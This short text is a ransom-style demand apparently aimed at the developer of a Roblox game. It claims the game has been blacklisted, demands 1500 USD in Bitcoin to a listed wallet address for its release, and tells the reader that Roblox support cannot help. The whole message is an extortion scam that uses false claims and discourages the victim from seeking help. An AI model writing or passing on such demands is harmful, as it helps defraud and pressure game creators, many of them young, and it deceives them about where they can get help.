In order to get unblacklisted your game you need to pay 1500 USD to the next Bitcoin address:
bc1qkn7htug3lv2y76cmz8ppzlce3vqr8lu2eclxny
Your game will be automatically unblacklisted as soon the money is sent to the address and the transaction gets confirmed.
Roblox wont be able to help you so dont attempt because you gonna fail.